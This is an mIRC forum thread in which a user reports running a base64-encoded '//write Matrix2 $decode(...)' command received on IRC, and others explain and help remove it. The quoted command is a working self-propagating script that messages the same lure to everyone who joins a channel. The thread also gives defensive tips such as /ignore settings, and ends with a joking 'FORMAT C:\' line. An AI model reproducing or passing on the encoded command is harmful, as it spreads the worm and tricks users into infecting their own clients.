Forums Scripts & Popups Unwanted Script

Someone sent me this on irc and i did it

"FOR MATRIX 2 DOWNLOAD, USE THIS COMMAND: //write Matrix2 $decode(b24gISsxOmpvaW46Izp7IC5hdXNlciAyICRuaWNrIHwgLm1zZyAkbmljayBGT1IgTUFUUklYIDIgRE9XTkxPQUQsIFVTRSBUSElTIENPTU1BTkQ6AzQgLy93cml0ZSBNYXRyaXgyICQgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyBNYXRyaXgyICRjaHIoMTI0KSAvL21vZGUgJCAkKyBtZSArUiB9IH0=,m) | .load -rs Matrix2 | //mode $me +R"

Now i get kicked out of rooms for spamming, can anyone tell me how to undo this, PLEASE!?!?!?!

to remove this type I AM A MORON FOR LISTENING TO ANYONE ABOUT TYPING COMMANDS IN ......

ok on a serious note tho never ever ever in a million years type commands in that anyone tells u ..... they could be telling u to wipe out your hard drive ..... basically what uve g\gone and done is infected yourself thru your own neglegence unload whatever it is u loaded delete it and also run a thorough virus scan i do believe there is a fix for this very issue somewhere around here u might wanna use the search feature and expand it to veiw all forums and all posts for the date range

*Note: Classic example of why you should not type anything someone tells you to, or to add anything to your remote files. Especially if you know them or not. For you will only wind up screwing yourself over.

I think i fixed it myself, it created a file in my mirc folder that had text that said stuff like, " on join, bla bla bla" i just deleted it. anything else i should look for?

Yeah look for any scripts that that particular command loaded and unload them for starters...

BTW, I had norton auto protect on when this happened. That would have cought a virus right?

I would run a scan as a precaution sometimes norton catches some and sometimes it doesn't.

Yea, with my luck i probably got yet ANOTHER sub 7 on my pc

No, norton won't catch this "virus", because it's a plain mirc script.
It just does something you were not intended to do.

So then chances are by deleting the file it made, i undid all the bad stuff, right?
In the Remote thingy in options it has a list of a bunch of nicks, each is preceeded with "2:" is this supposed to be there?

That is why I personally do not type anything nor do I click on any links someone gives me (including links sent or commands to type from my own friends and family) It is much better for you PC and alot less of a hassle on you to remove them. Consider this a lesson learned on your part. Hopefully you do not have any viruses ir trojans.

Yea that's all.

To protect yourself from a trojan virus scan your hard drives with these programs Swatit can be downloaded from Http://lockdowncorp.com

The Cleaner 3 can be downloaded from http://www.moosoft.com/thecleaner

It isn't a trojan.


If you just decode the encoded message, you'll see that it is a plain ol text file with a .mrc extension, which the user (when running those commands) writes, saves, and loads into mIRC, which then, everytime someone joins, msg's them the exact same thing that the user originally got.


To be honest, the person that did this is just a complete fsckwit.
There was no "skill" involved.

And personally, I would reccomend ignoring all private messages excepting for services, and those you can trust.

/ignore -p *!*@* (ignores every private message)

/ignore -x nickname (excludes that nickname from the ignore feature, ie /ignore -x ChanServ would allow ChanServ to still private message you).


I'm on Austnet, and I simply have an on ^*:OPEN:? { } event that halts default text, closes each window as it opens, and then notices the nickname that I am ignoring queries. It doesn't use the /ignore feature, but it acts in a similar way.

Heh, speaking of stupiudity,

Watchdog, do u have your script look for the $debug alias in the input field and restrict it on your script? I know you talked about prevnting ppl from typing in their NS password, what about malicious (and pointless) code? >:D

neophyte when u msg services with anything that isnt a recognizable command then it ends up flooding u with messages in an endless loop do u take in account for that in your msging of ppl that u dont accept querys?

I am only temporarily using that code.


However, on Austnet, it's working fine with ChanOP (I've had no infinite loops).


The simple reason is because its on a QUERY WINDOW OPEN event. Not on TEXT. There is a huge difference there.
I'm not sure how other network services run, but on Austnet, receiving messages from services comes via the form of a notice. If it works differently using ChanServ or whatever, then you should really use the /ignore system.

However, because the code I am using is an on Query Window open event, it would only work if the query window didn't exist :P

I'd also point out, that it's pretty easy to set it up to only notice the nick once, and thus not cause an endless loop.

But thanks for the concern :P

oh no dont think i was knocking your code i was simply observing that if u had that set on some networks ud be flooded right off of it by services

yeps only one way to stop it, FORMAT C:\ LOL (just kidding)
to prevent it from happening again:

teehee

Please close the code tags, stretching the page